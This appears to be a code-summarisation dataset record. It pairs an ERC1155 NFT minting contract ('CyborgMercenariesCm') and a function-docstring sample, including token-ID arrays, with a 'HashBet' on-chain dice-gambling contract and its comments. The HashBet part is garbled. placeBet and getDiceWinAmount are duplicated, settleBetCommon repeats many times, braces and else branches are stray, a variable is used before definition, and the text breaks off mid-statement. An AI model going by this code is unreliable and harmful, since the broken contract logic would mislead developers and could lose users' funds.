uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } contract CyborgMercenariesCm is ERC1155, Ownable { string public constant name = "CyborgMercenariesCm"; string public constant symbol = "CYBORG"; using SafeMath for uint256; using Strings for uint256; uint256 public totalSupply = 0; string private baseURI; string private blindURI; uint256 public constant MAX_NFT_PUBLIC = 8738; uint256 private constant MAX_NFT = 8888; uint256 public constant maxGiveaway=150; uint256 public WHITELIST_MAX_MINT = 2; mapping(address => uint256) private whiteListClaimed; uint256 public NFTPrice = 100000000000000000; // 0.10 ETH uint256 public MAX_NFT_PRICE = 150000000000000000; // 0.15 ETH bool public reveal; bool public isActive; bool public isPresaleActive; bytes32 public root; uint256 public giveawayCount; /* * Function to reveal all NFTs */ function revealNow() external onlyOwner { reveal = true; } /* * Function to mint NFTs */ function mint(address to, uint32 count) internal { if (count > 1) { uint256[] memory ids = new uint256[](uint256(count)); uint256[] memory amounts = new uint256[](uint256(count)); for (uint32 i = 0; i < count; i++) { ids[i] = totalSupply + i; amounts[i] = 1; } _mintBatch(to, ids, amounts, ""); } else { _mint(to, totalSupply, 1, ""); } totalSupply += count; } /* * Function setIsActive to activate/desactivate the smart contract */ function setIsActive( bool _isActive ) external onlyOwner { isActive = _isActive; } /* * Function setPrice allow the owner to set the price of an NFT */ function setPriceAndMax( uint256 _price,uint256 _max ) external onlyOwner { require(_price <= MAX_NFT_PRICE, 'The price must be smaller or equal to MAX_NFT_PRICE'); require(_price > 0, 'The price must be greater than 0'); NFTPrice = _price; WHITELIST_MAX_MINT=_max; } /* * Function setPresaleActive to activate/desactivate the presale */ function setPresaleActive( bool _isActive ) external onlyOwner { isPresaleActive = _isActive; } /* * Function to set Base and Blind URI */ function setURIs( string memory _blindURI, string memory _URI ) external onlyOwner { blindURI = _blindURI; baseURI = _URI; } /* * Function to withdraw collected amount during minting by the owner */ function withdraw( ) public onlyOwner { uint balance = address(this).balance; require(balance > 0, "Balance should be more then zero"); payable(owner()).transfer(balance); } /* * Function to mint new NFTs during the public sale * It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens)) */ function mintNFT( uint32 _numOfTokens ) public payable { require(isActive, 'Contract is not active'); require(!isPresaleActive, 'Presale still active'); require(totalSupply.add(_numOfTokens).sub(giveawayCount) <= MAX_NFT_PUBLIC, "Purchase would exceed max public supply of NFTs"); require( msg.value >= NFTPrice.mul(_numOfTokens), "Ether value sent is not correct"); mint(msg.sender,_numOfTokens); } /* * Function to mint new NFTs during the presale * It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens)) */ function mintNFTDuringPresale( uint32 _numOfTokens, bytes32[] memory _proof ) public payable { require(isActive, 'Contract is not active'); require(isPresaleActive, 'Presale not active'); require(verify(_proof, bytes32(uint256(uint160(msg.sender)))), "Not whitelisted"); require(totalSupply.sub(giveawayCount) < MAX_NFT_PUBLIC, 'All public tokens have been minted'); require(totalSupply.add(_numOfTokens).sub(giveawayCount) <= MAX_NFT_PUBLIC, 'Purchase would exceed max public supply of NFTs'); require( msg.value >= NFTPrice.mul(_numOfTokens), "Ether value sent is not correct"); require(whiteListClaimed[msg.sender].add(_numOfTokens) <= WHITELIST_MAX_MINT, "Purchase exceeds max whitelisted"); mint(msg.sender,_numOfTokens); whiteListClaimed[msg.sender] += _numOfTokens; } /* * Function to mint all NFTs for giveaway and partnerships */ function mintByOwner( address _to ) public onlyOwner { require(totalSupply.add(1) < MAX_NFT, "Tokens number to mint cannot exceed number of MAX tokens"); mint(_to,1); } /* * Function to mint all NFTs for giveaway and partnerships */ function mintMultipleByOwner( address[] memory _to ) public onlyOwner { require(totalSupply.add(_to.length) < MAX_NFT, "Tokens number to mint cannot exceed number of MAX tokens"); require(giveawayCount.add(_to.length)<=maxGiveaway,"Cannot do that much giveaway"); for(uint256 i = 0; i < _to.length; i++){ mint(_to[i],1); } giveawayCount=giveawayCount.add(_to.length); } /* * Function to get token URI of given token ID * URI will be blank untill totalSupply reaches MAX_NFT_PUBLIC */ function uri( uint256 _tokenId ) public view virtual override returns (string memory) { require(_tokenId<totalSupply, "ERC1155Metadata: URI query for nonexistent token"); if (!reveal) { return string(abi.encodePacked(blindURI)); } else { return string(abi.encodePacked(baseURI, _tokenId.toString())); } } /* * Function to set the merkle root */ function setRoot(uint256 _root) onlyOwner() public { root = bytes32(_root); } /* * Function to verify the proof */ function verify(bytes32[] memory proof, bytes32 leaf) public view returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = sha256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = sha256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } }
Function to mint all NFTs for giveaway and partnerships/
function mintMultipleByOwner( address[] memory _to ) public onlyOwner { require(totalSupply.add(_to.length) < MAX_NFT, "Tokens number to mint cannot exceed number of MAX tokens"); require(giveawayCount.add(_to.length)<=maxGiveaway,"Cannot do that much giveaway"); for(uint256 i = 0; i < _to.length; i++){ mint(_to[i],1); } giveawayCount=giveawayCount.add(_to.length); }
2,243,296
[ 1, 2083, 358, 312, 474, 777, 423, 4464, 87, 364, 8492, 26718, 471, 1087, 9646, 5310, 87, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 8438, 858, 5541, 12, 203, 3639, 1758, 8526, 3778, 389, 869, 203, 565, 262, 7010, 3639, 1071, 7010, 3639, 1338, 5541, 203, 565, 288, 203, 3639, 2583, 12, 4963, 3088, 1283, 18, 1289, 24899, 869, 18, 2469, 13, 411, 4552, 67, 50, 4464, 16, 315, 5157, 1300, 358, 312, 474, 2780, 9943, 1300, 434, 4552, 2430, 8863, 203, 3639, 2583, 12, 75, 688, 26718, 1380, 18, 1289, 24899, 869, 18, 2469, 13, 32, 33, 1896, 43, 688, 26718, 10837, 4515, 741, 716, 9816, 8492, 26718, 8863, 203, 3639, 364, 12, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 869, 18, 2469, 31, 277, 27245, 95, 203, 5411, 312, 474, 24899, 869, 63, 77, 6487, 21, 1769, 203, 3639, 289, 203, 3639, 8492, 26718, 1380, 33, 75, 688, 26718, 1380, 18, 1289, 24899, 869, 18, 2469, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xAF358B898E645189952a2c5Af6cD977450836ee6/sources/HashBet.sol
Modulo is the number of equiprobable outcomes in a game: 2 for coin flip 6 for dice roll 6*6 = 36 for double dice 37 for roulette 100 for hashroll Modulos below MAX_MASK_MODULO are checked against a bit mask, allowing betting on specific outcomes. For example in a dice roll (modolo = 6), 000001 mask means betting on 1. 000001 converted from binary to decimal becomes 1. 101000 mask means betting on 4 and 6. 101000 converted from binary to decimal becomes 40. The specific value is dictated by the fact that 256-bit intermediate multiplication result allows implementing population count efficiently for numbers that are up to 42 bits, and 40 is the highest multiple of eight below 42. EVM BLOCKHASH opcode can query no further than 256 blocks into the past. Given that settleBet uses block hash of placeBet as one of complementary entropy sources, we cannot process bets older than this threshold. On rare occasions dice2.win croupier may fail to invoke settleBet in this timespan due to technical issues or extreme Ethereum congestion; such bets can be refunded via invoking refundBet. Some deliberately invalid address to initialize the secret signer with. Forces maintainers to invoke setSecretSigner before processing any bets. This is a check on bet mask overflow. Maximum mask is equivalent to number of possible binary outcomes for maximum modulo. These are constants taht make O(1) population count in placeBet possible. Sum of all historical deposits and withdrawals. Used for calculating profitability. Profit = Balance - cumulativeDeposit + cumulativeWithdrawal In addition to house edge, wealth tax is added every time the bet amount exceeds a multiple of a threshold. For example, if wealthTaxIncrementThreshold = 3000 ether, A bet amount of 3000 ether will have a wealth tax of 1% in addition to house edge. A bet amount of 6000 ether will have a wealth tax of 2% in addition to house edge. The minimum and maximum bets. max bet profit. Used to cap bets against dynamic odds. Funds that are locked in potentially winning bets. Prevents contract from committing to new bets that it cannot pay out. The minimum larger comparison value. The maximum smaller comparison value. The address corresponding to a private key used to sign placeBet commits. Croupier account. Info of each bet.
contract HashBet is Ownable, ReentrancyGuard { uint constant MAX_MODULO = 100; uint constant MAX_MASK_MODULO = 40; uint constant BET_EXPIRATION_BLOCKS = 250; address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO; uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCNT_MODULO = 0x3F; uint public cumulativeDeposit; uint public cumulativeWithdrawal; uint public wealthTaxIncrementThreshold = 3000 ether; uint public wealthTaxIncrementPercent = 1; uint public minBetAmount = 0.01 ether; uint public maxBetAmount = 10000 ether; uint public maxProfit = 300000 ether; uint public lockedInBets; uint public minOverValue = 1; uint public maxUnderValue = 98; address public secretSigner; address public croupier; struct Bet { uint amount; uint8 modulo; uint8 rollEdge; uint40 mask; uint placeBlockNumber; address payable gambler; bool isSettled; uint outcome; uint winAmount; uint randomNumber; uint commit; bool isLarger; } mapping(uint32 => uint32) public houseEdgePercents; event BetSettled(address indexed gambler, uint amount, uint8 indexed modulo, uint8 rollEdge, uint40 mask, uint commit, uint outcome, uint winAmount); event BetRefunded(address indexed gambler, uint amount); uint public defaultHouseEdgePercent = 2; mapping (uint => Bet) public bets; event BetPlaced(address indexed gambler, uint amount, uint8 indexed modulo, uint8 rollEdge, uint40 mask, uint commit, bool isLarger); constructor () Ownable() { secretSigner = DUMMY_ADDRESS; croupier = DUMMY_ADDRESS; houseEdgePercents[2] = 1; houseEdgePercents[6] = 1; houseEdgePercents[36] = 1; houseEdgePercents[37] = 3; houseEdgePercents[100] = 5; } modifier onlyCroupier { require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier."); _; } fallback() external payable { cumulativeDeposit += msg.value; } receive() external payable { cumulativeDeposit += msg.value; } function setSecretSigner(address newSecretSigner) external onlyOwner { secretSigner = newSecretSigner; } function setCroupier(address newCroupier) external onlyOwner { croupier = newCroupier; } function getBalance() external view returns (uint) { return address(this).balance; } function setDefaultHouseEdgePercent(uint _houseEdgePercent) external onlyOwner { require( _houseEdgePercent >= 1 && _houseEdgePercent <= 100, "houseEdgePercent must be a sane number" ); defaultHouseEdgePercent = _houseEdgePercent; } function setModuloHouseEdgePercent(uint32 _houseEdgePercent, uint32 modulo) external onlyOwner { require( _houseEdgePercent >= 1 && _houseEdgePercent <= 100, "houseEdgePercent must be a sane number" ); houseEdgePercents[modulo] = _houseEdgePercent; } function setMinBetAmount(uint _minBetAmount) external onlyOwner { minBetAmount = _minBetAmount * 1 gwei; } function setMaxBetAmount(uint _maxBetAmount) external onlyOwner { require (_maxBetAmount < 5000000 ether, "maxBetAmount must be a sane number"); maxBetAmount = _maxBetAmount; } function setMaxProfit(uint _maxProfit) external onlyOwner { require (_maxProfit < 50000000 ether, "maxProfit must be a sane number"); maxProfit = _maxProfit; } function setWealthTaxIncrementPercent(uint _wealthTaxIncrementPercent) external onlyOwner { wealthTaxIncrementPercent = _wealthTaxIncrementPercent; } function setWealthTaxIncrementThreshold(uint _wealthTaxIncrementThreshold) external onlyOwner { wealthTaxIncrementThreshold = _wealthTaxIncrementThreshold; } function withdrawFunds(address payable beneficiary, uint withdrawAmount) external onlyOwner { require (withdrawAmount <= address(this).balance, "Withdrawal amount larger than balance."); require (withdrawAmount <= address(this).balance - lockedInBets, "Withdrawal amount larger than balance minus lockedInBets"); beneficiary.transfer(withdrawAmount); cumulativeWithdrawal += withdrawAmount; } function emitBetPlacedEvent(address gambler, uint amount, uint8 modulo, uint8 rollEdge, uint40 mask, uint commit, bool isLarger) private { emit BetPlaced(gambler, amount, uint8(modulo), uint8(rollEdge), uint40(mask), commit, isLarger); } function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bool isLarger, bytes32 r, bytes32 s) external payable nonReentrant { Bet storage bet = bets[commit]; require (bet.gambler == address(0), "Bet should be in a 'clean' state."); uint amount = msg.value; validateArguments(amount, betMask, modulo, commitLastBlock, commit, isLarger, r, s); uint rollEdge; uint mask; if (modulo <= MAX_MASK_MODULO) { rollEdge = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo."); rollEdge = betMask; } bet.modulo=uint8(modulo); bet.rollEdge=uint8(rollEdge); bet.mask=uint40(mask); bet.placeBlockNumber=block.number; bet.gambler=payable(msg.sender); bet.isSettled=false; bet.outcome=0; bet.winAmount=possibleWinAmount; bet.randomNumber=0; bet.commit=commit; bet.isLarger=isLarger; } function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bool isLarger, bytes32 r, bytes32 s) external payable nonReentrant { Bet storage bet = bets[commit]; require (bet.gambler == address(0), "Bet should be in a 'clean' state."); uint amount = msg.value; validateArguments(amount, betMask, modulo, commitLastBlock, commit, isLarger, r, s); uint rollEdge; uint mask; if (modulo <= MAX_MASK_MODULO) { rollEdge = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo."); rollEdge = betMask; } bet.modulo=uint8(modulo); bet.rollEdge=uint8(rollEdge); bet.mask=uint40(mask); bet.placeBlockNumber=block.number; bet.gambler=payable(msg.sender); bet.isSettled=false; bet.outcome=0; bet.winAmount=possibleWinAmount; bet.randomNumber=0; bet.commit=commit; bet.isLarger=isLarger; } } else { uint possibleWinAmount = getDiceWinAmount(amount, modulo, rollEdge, isLarger); require (lockedInBets + possibleWinAmount <= address(this).balance, "Unable to accept bet due to insufficient funds"); lockedInBets += possibleWinAmount; bet.amount=amount; emitBetPlacedEvent(bet.gambler, amount, uint8(modulo), uint8(rollEdge), uint40(mask), commit, isLarger); function getDiceWinAmount(uint amount, uint modulo, uint rollEdge, bool isLarger) private view returns (uint winAmount) { require (0 < rollEdge && rollEdge <= modulo, "Win probability out of range."); uint houseEdge = amount * (getModuloHouseEdgePercent(uint32(modulo)) + getWealthTax(amount)) / 100; uint realRollEdge = rollEdge; if (modulo == MAX_MODULO && isLarger) { realRollEdge = MAX_MODULO - rollEdge - 1; } winAmount = (amount - houseEdge) * modulo / realRollEdge; uint maxWinAmount = amount + maxProfit; if(winAmount > maxWinAmount) { winAmount = maxWinAmount; } } function getDiceWinAmount(uint amount, uint modulo, uint rollEdge, bool isLarger) private view returns (uint winAmount) { require (0 < rollEdge && rollEdge <= modulo, "Win probability out of range."); uint houseEdge = amount * (getModuloHouseEdgePercent(uint32(modulo)) + getWealthTax(amount)) / 100; uint realRollEdge = rollEdge; if (modulo == MAX_MODULO && isLarger) { realRollEdge = MAX_MODULO - rollEdge - 1; } winAmount = (amount - houseEdge) * modulo / realRollEdge; uint maxWinAmount = amount + maxProfit; if(winAmount > maxWinAmount) { winAmount = maxWinAmount; } } winAmount = (winAmount / 1e12) * 1e12; function getDiceWinAmount(uint amount, uint modulo, uint rollEdge, bool isLarger) private view returns (uint winAmount) { require (0 < rollEdge && rollEdge <= modulo, "Win probability out of range."); uint houseEdge = amount * (getModuloHouseEdgePercent(uint32(modulo)) + getWealthTax(amount)) / 100; uint realRollEdge = rollEdge; if (modulo == MAX_MODULO && isLarger) { realRollEdge = MAX_MODULO - rollEdge - 1; } winAmount = (amount - houseEdge) * modulo / realRollEdge; uint maxWinAmount = amount + maxProfit; if(winAmount > maxWinAmount) { winAmount = maxWinAmount; } } function getWealthTax(uint amount) private view returns (uint wealthTax) { wealthTax = amount / wealthTaxIncrementThreshold * wealthTaxIncrementPercent; } function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier { uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; uint placeBlockNumber = bet.placeBlockNumber; require (bet.gambler != address(0), "Bet should be in a 'bet' state."); require (block.number > placeBlockNumber, "settleBet before placeBet"); settleBetCommon(bet, reveal, blockHash); } function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { uint amount = bet.amount; uint modulo = bet.modulo; uint rollEdge = bet.rollEdge; address payable gambler = bet.gambler; bool isLarger = bet.isLarger; bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); uint outcome = uint(entropy) % modulo; uint possibleWinAmount = bet.winAmount; uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; } if (isLarger){ if (outcome > rollEdge) { winAmount = possibleWinAmount; } } else{ if (outcome < rollEdge) { winAmount = possibleWinAmount; } } } bet.winAmount = winAmount; bet.randomNumber = uint(entropy); bet.outcome = outcome; if (bet.winAmount > 0) { gambler.transfer(bet.winAmount); } emitSettledEvent(bet); } function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { uint amount = bet.amount; uint modulo = bet.modulo; uint rollEdge = bet.rollEdge; address payable gambler = bet.gambler; bool isLarger = bet.isLarger; bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); uint outcome = uint(entropy) % modulo; uint possibleWinAmount = bet.winAmount; uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; } if (isLarger){ if (outcome > rollEdge) { winAmount = possibleWinAmount; } } else{ if (outcome < rollEdge) { winAmount = possibleWinAmount; } } } bet.winAmount = winAmount; bet.randomNumber = uint(entropy); bet.outcome = outcome; if (bet.winAmount > 0) { gambler.transfer(bet.winAmount); } emitSettledEvent(bet); } function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { uint amount = bet.amount; uint modulo = bet.modulo; uint rollEdge = bet.rollEdge; address payable gambler = bet.gambler; bool isLarger = bet.isLarger; bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); uint outcome = uint(entropy) % modulo; uint possibleWinAmount = bet.winAmount; uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; } if (isLarger){ if (outcome > rollEdge) { winAmount = possibleWinAmount; } } else{ if (outcome < rollEdge) { winAmount = possibleWinAmount; } } } bet.winAmount = winAmount; bet.randomNumber = uint(entropy); bet.outcome = outcome; if (bet.winAmount > 0) { gambler.transfer(bet.winAmount); } emitSettledEvent(bet); } } else { function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { uint amount = bet.amount; uint modulo = bet.modulo; uint rollEdge = bet.rollEdge; address payable gambler = bet.gambler; bool isLarger = bet.isLarger; bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); uint outcome = uint(entropy) % modulo; uint possibleWinAmount = bet.winAmount; uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; } if (isLarger){ if (outcome > rollEdge) { winAmount = possibleWinAmount; } } else{ if (outcome < rollEdge) { winAmount = possibleWinAmount; } } } bet.winAmount = winAmount; bet.randomNumber = uint(entropy); bet.outcome = outcome; if (bet.winAmount > 0) { gambler.transfer(bet.winAmount); } emitSettledEvent(bet); } function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { uint amount = bet.amount; uint modulo = bet.modulo; uint rollEdge = bet.rollEdge; address payable gambler = bet.gambler; bool isLarger = bet.isLarger; bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); uint outcome = uint(entropy) % modulo; uint possibleWinAmount = bet.winAmount; uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; } if (isLarger){ if (outcome > rollEdge) { winAmount = possibleWinAmount; } } else{ if (outcome < rollEdge) { winAmount = possibleWinAmount; } } } bet.winAmount = winAmount; bet.randomNumber = uint(entropy); bet.outcome = outcome; if (bet.winAmount > 0) { gambler.transfer(bet.winAmount); } emitSettledEvent(bet); } function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { uint amount = bet.amount; uint modulo = bet.modulo; uint rollEdge = bet.rollEdge; address payable gambler = bet.gambler; bool isLarger = bet.isLarger; bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); uint outcome = uint(entropy) % modulo; uint possibleWinAmount = bet.winAmount; uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; } if (isLarger){ if (outcome > rollEdge) { winAmount = possibleWinAmount; } } else{ if (outcome < rollEdge) { winAmount = possibleWinAmount; } } } bet.winAmount = winAmount; bet.randomNumber = uint(entropy); bet.outcome = outcome; if (bet.winAmount > 0) { gambler.transfer(bet.winAmount); } emitSettledEvent(bet); } function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { uint amount = bet.amount; uint modulo = bet.modulo; uint rollEdge = bet.rollEdge; address payable gambler = bet.gambler; bool isLarger = bet.isLarger; bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); uint outcome = uint(entropy) % modulo; uint possibleWinAmount = bet.winAmount; uint winAmount = 0; if (modulo <= MAX_MASK_MODULO) { if ((2 ** outcome) & bet.mask != 0) { winAmount = possibleWinAmount; } if (isLarger){ if (outcome > rollEdge) { winAmount = possibleWinAmount; } } else{ if (outcome < rollEdge) { winAmount = possibleWinAmount; } } } bet.winAmount = winAmount; bet.randomNumber = uint(entropy); bet.outcome = outcome; if (bet.winAmount > 0) { 